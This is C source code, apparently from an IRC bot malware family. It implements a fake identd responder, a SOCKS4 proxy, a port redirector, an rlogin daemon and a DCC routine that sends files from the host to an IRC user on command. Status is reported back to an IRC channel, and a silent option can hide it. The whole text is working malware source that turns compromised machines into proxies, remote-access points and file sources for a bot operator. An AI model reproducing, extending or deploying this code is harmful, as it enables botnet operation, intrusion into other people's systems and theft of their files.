DWORD WINAPI IdentThread(LPVOID param) { char user[12], buffer[IRCLINE]; int threadnum = (int)param; BOOL success = FALSE; SOCKET ssock,csock; SOCKADDR_IN ssin, csin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)113); ssin.sin_addr.s_addr=INADDR_ANY; if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) { threads[threadnum].sock = ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { if (flisten(ssock, 5) != SOCKET_ERROR) { int csin_len = sizeof(csin); while (1) { if ((csock = faccept(ssock,(LPSOCKADDR)&csin,&csin_len)) == INVALID_SOCKET) break; sprintf(buffer, "[IDENTD]: Client connection from IP: %s:%d.", finet_ntoa(csin.sin_addr), csin.sin_port); addlog(buffer); if (frecv(csock,buffer,sizeof(buffer),0) != SOCKET_ERROR) { Split(buffer,0); memset(user, 0, sizeof(user)); _snprintf(buffer,sizeof(buffer)," : USERID : UNIX : %s\r\n",rndnick(user, LETTERNICK, FALSE)); if (fsend(csock,buffer,strlen(buffer),0) != SOCKET_ERROR) success = TRUE; } } } } } if (!success) { sprintf(buffer, "[IDENTD]: Error: server failed, returned: <%d>.", fWSAGetLastError()); addlog(buffer); } fclosesocket(ssock); fclosesocket(csock); clearthread(threadnum); ExitThread(0); }
DWORD WINAPI Socks4Thread(LPVOID param) { char sendbuf[IRCLINE]; SOCKADDR_IN ssin, csin; SOCKET ssock, csock; DWORD lpThreadId; int csin_len = sizeof(csin); SOCKS4 socks4 = *((SOCKS4 *)param); SOCKS4 *socks4p = (SOCKS4 *)param; socks4p->gotinfo = TRUE; memset(&ssin,0,sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)socks4.port); ssin.sin_addr.s_addr = INADDR_ANY; ssock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); threads[socks4.threadnum].sock=ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) { if (flisten(ssock, 10) == 0) { sprintf(sendbuf, "[SOCKS4]: Server started on: %s:%d.", GetIP(socks4.sock), socks4.port); if (!socks4.silent) irc_privmsg(socks4.sock, socks4.chan, sendbuf, socks4.notice); addlog(sendbuf); while (1) { csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len); socks4.cgotinfo = FALSE; sprintf(sendbuf,"[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, socks4.threadnum); socks4.cthreadnum = addthread(sendbuf,SOCKS4_THREAD,csock); threads[socks4.cthreadnum].parent = socks4.threadnum; if (threads[socks4.cthreadnum].tHandle = CreateThread(NULL, 0, &Socks4ClientThread, (LPVOID)&socks4, 0, &lpThreadId)) { while (socks4.cgotinfo == FALSE) Sleep(5); } else sprintf(sendbuf, "[SOCKS4]: Failed to start client thread, error: <%d>.", GetLastError()); addlog(sendbuf); } } } fclosesocket(ssock); sprintf(sendbuf, "[SOCKS4]: Failed to start server on Port %d.", socks4.port); if (!socks4.silent) irc_privmsg(socks4.sock, socks4.chan, sendbuf, socks4.notice); addlog(sendbuf); clearthread(socks4.threadnum); ExitThread(0); }
// port redirect function DWORD WINAPI RedirectThread(LPVOID param) { REDIRECT redirect = *((REDIRECT *)param); REDIRECT *redirectp = (REDIRECT *)param; redirectp->gotinfo = TRUE; char sendbuf[IRCLINE]; DWORD id; SOCKADDR_IN rsin, csin; memset(&rsin, 0, sizeof(rsin)); rsin.sin_family = AF_INET; rsin.sin_port = fhtons(redirect.lport); rsin.sin_addr.s_addr = INADDR_ANY; int csin_len = sizeof(csin); SOCKET rsock, csock; if ((rsock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { threads[redirect.threadnum].sock = rsock; fWSAAsyncSelect(rsock, 0, WM_USER + 1, FD_READ); if (fbind(rsock, (LPSOCKADDR)&rsin, sizeof(rsin)) == 0) { if (flisten(rsock, 10) == 0) { while(1) { if ((csock = faccept(rsock, (LPSOCKADDR)&csin, &csin_len)) != INVALID_SOCKET) { redirect.csock = csock; redirect.gotinfo = FALSE; sprintf(sendbuf,"[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, redirect.threadnum); redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,csock); threads[redirect.cthreadnum].parent = redirect.threadnum; if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoopThread,(LPVOID)&redirect,0,&id)) { while (redirect.gotinfo == FALSE) Sleep(50); } else { addlogv("[REDIRECT]: Failed to start client thread, error: <%d>.", GetLastError()); break; } } } } } } fclosesocket(csock); fclosesocket(rsock); clearthread(redirect.threadnum); ExitThread(0); }
DWORD WINAPI RlogindThread(LPVOID param) { RLOGIND rlogind = *((RLOGIND *)param); RLOGIND *rloginds = (RLOGIND *)param; rloginds->gotinfo = TRUE; char sendbuf[IRCLINE]; int csin_len, Err; unsigned long mode = 1; WSADATA WSAData; SECURITY_ATTRIBUTES SecurityAttributes; DWORD id; if ((Err = fWSAStartup(MAKEWORD(2,2), &WSAData)) != 0) { addlogv("[RLOGIND]: Error: WSAStartup(): <%d>.", Err); clearthread(rlogind.threadnum); ExitThread(1); } if (!SetConsoleCtrlHandler((PHANDLER_ROUTINE)&CtrlHandler, TRUE)) { addlogv("[RLOGIND]: Failed to install control-C handler, error: <%d>.", GetLastError()); fWSACleanup(); clearthread(rlogind.threadnum); ExitThread(1); } SOCKET ssock, csock; SOCKADDR_IN csin, ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(rlogind.port); ssin.sin_addr.s_addr = INADDR_ANY; if ((ssock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { threads[rlogind.threadnum].sock = ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) { if (flisten(ssock, SOMAXCONN) == 0) { SecurityAttributes.nLength = sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor = NULL; SecurityAttributes.bInheritHandle = FALSE; addlog("[RLOGIND]: Ready and waiting for incoming connections."); BOOL flag = TRUE; while (1) { csin_len = sizeof(csin); if ((csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) break; if (fsetsockopt(csock, SOL_SOCKET, SO_KEEPALIVE,(char *)&flag,flag) != SOCKET_ERROR) { rlogind.gotinfo = FALSE; sprintf(sendbuf,"[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), fntohs(csin.sin_port), rlogind.threadnum); addlog(sendbuf); rlogind.cthreadnum = addthread(sendbuf,RLOGIN_THREAD,csock); threads[rlogind.cthreadnum].parent = rlogind.threadnum; if (threads[rlogind.cthreadnum].tHandle = CreateThread(&SecurityAttributes,0,&RlogindClientThread,(LPVOID)&rlogind,0,&id)) { while (rlogind.gotinfo == FALSE) Sleep(50); } else { addlogv("[RLOGIND]: Failed to start client thread, error: <%d>.", GetLastError()); break; } } } } } } sprintf(sendbuf, "[RLOGIND]: Error: server failed, returned: <%d>.", fWSAGetLastError()); if (!rlogind.silent) irc_privmsg(rlogind.sock, rlogind.chan, sendbuf, rlogind.notice); addlog(sendbuf); fclosesocket(csock); fclosesocket(ssock); fWSACleanup(); clearthread(rlogind.threadnum); ExitThread(0); }
DWORD WINAPI DCCSendThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char sendbuf[IRCLINE],buffer[1024],tmpfile[MAX_PATH]; int Fsend, bytes_sent; unsigned int move; unsigned __int64 totalbytes = 0; DWORD mode = 0; SOCKET ssock; while (1) { if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Failed to create socket."); break; } SOCKADDR_IN csin, ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(0);//random port ssin.sin_addr.s_addr = INADDR_ANY; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != 0) { sprintf(sendbuf,"[DCC]: Failed to bind to socket."); break; } int ssin_len = sizeof(ssin); fgetsockname(ssock, (LPSOCKADDR)&ssin, &ssin_len); unsigned short portnum = fntohs(ssin.sin_port); for (unsigned int i=0;i <= strlen(dcc.filename); i++) tmpfile[i] = ((dcc.filename[i] == 32)?(95):(dcc.filename[i])); if (flisten(ssock, 1) != 0) { sprintf(sendbuf,"[DCC]: Failed to open socket."); break; } HANDLE testfile = CreateFile(dcc.filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (testfile == INVALID_HANDLE_VALUE) { sprintf(sendbuf,"[DCC]: File doesn't exist."); break; } int length = GetFileSize(testfile,NULL); sprintf(sendbuf,"DCC SEND %s %i %i %i",dcc.filename,fhtonl(finet_addr(GetIP(dcc.sock))),portnum,length); irc_privmsg(dcc.sock,dcc.sendto,sendbuf,FALSE); TIMEVAL timeout; timeout.tv_sec = 60;//timeout after 60 sec. timeout.tv_usec = 0; fd_set fd_struct; FD_ZERO(&fd_struct); FD_SET(ssock, &fd_struct); if (fselect(0, &fd_struct, NULL, NULL, &timeout) <= 0) { irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Send timeout.",dcc.notice); break; } int csin_len = sizeof(csin); if ((dcc.csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Unable to open socket."); break; } fclosesocket(ssock); while (length) { Fsend = 1024; if (Fsend>length) Fsend=length; move = 0-length; memset(buffer,0,sizeof(buffer)); SetFilePointer(testfile, move, NULL, FILE_END); ReadFile(testfile, buffer, Fsend, &mode, NULL); bytes_sent = fsend(dcc.csock, buffer, Fsend, 0); totalbytes += bytes_sent; if (frecv(dcc.csock,buffer ,sizeof(buffer), 0) < 1 || bytes_sent < 1) { irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Socket error.",dcc.notice); addlog("[DCC]: Socket error."); fclosesocket(dcc.csock); clearthread(dcc.threadnum); ExitThread(1); } length = length - bytes_sent; } if (testfile != INVALID_HANDLE_VALUE) CloseHandle(testfile); sprintf(sendbuf,"[DCC]: Transfer complete to IP: %s, Filename: %s (%s bytes).",finet_ntoa(csin.sin_addr),dcc.filename,commaI64(totalbytes)); break; } if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); if (ssock > 0) fclosesocket(ssock); fclosesocket(dcc.csock); clearthread(dcc.threadnum); ExitThread(0); }